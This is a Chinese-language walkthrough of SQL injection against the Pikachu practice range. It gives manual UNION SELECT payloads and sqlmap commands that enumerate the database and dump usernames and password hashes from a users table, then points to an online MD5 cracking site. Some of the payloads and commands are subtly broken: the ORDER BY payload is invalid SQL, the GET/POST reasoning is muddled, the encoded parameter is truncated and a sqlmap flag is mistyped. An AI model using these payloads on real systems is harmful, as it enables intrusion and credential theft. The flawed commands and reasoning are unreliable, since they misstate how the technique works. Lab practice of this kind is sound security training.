靶场:pikachu
工具:burpsuite、sqlmap
两种方法:1.手动注入、2.Sqlmap
方法一:手动注入
1.bp抓包重放
2.添加单引号构造闭合判断有无注点
报错了说明post请求,反之是get请求
3.利用回显进行验证:
"id = 1 and 1=1" 不报错,确定是post请求,反之是get请求
4.猜解sql语句中的字段数
分别执行:
id =1 and order by 1
id =1 and order by 2
id =1 and order by 3
可知最大字段数为2
5.确定显示位置
6.获取当前数据库
获取当前数据库为"pikachu"
7.获取数据库中的表
id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&submit=%E6%9F%A5%E8%AF%A2
8.找到关键表并获得字段名
一般来说"user"表是最有意思的东西
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #&submit=%E6%9F%A5%E8%AF%A2
9.查看该表的信息
id=1 union select username,password from users#&submit=%E6%9F%A5%E8%AF%A2
10.MD5反解
推荐这个MD5在线解码网站,真的巨好用:www.cmd5.com/
依次拿到所有用户名和密码
方法二:sqlmap注入
1.使用burpsuite进行流量拦截,发现是post请求,紧接着是参数
2.先找到当前所在数据库
python sqlmap.py -u "http://10.0.0.202:801/pikachu/vul/sqli/sqli_id.php" -data="id=1&submit=%E6%9F%A5%E8%AF%A" --current-db
3.获取所有表名
python sqlmap.py -u "http://10.0.0.202:801/pikachu/vul/sqli/sqli_id.php" -data="id=1&submit=%E6%9F%A5%E8%AF%A" -D "pikachu" --tables
4.看着"user"表比较可疑,看一下该表有哪些列
python sqlmap.py -u "http://10.0.0.202:801/pikachu/vul/sqli/sqli_id.php" -data="id=1&submit=%E6%9F%A5%E8%AF%A" -D "pikachu" --tables -T "users" --columns
**5.看到"username"和"password"了,准备dump一下
python sqlmap.py -u "http://10.0.0.202:801/pikachu/vul/sqli/sqli_id.php" -data="id=1&submit=%E6%9F%A5%E8%AF%A" -D "pikachu" --tables -T "users" -C "username,password" --dump
拿到了用户名和密码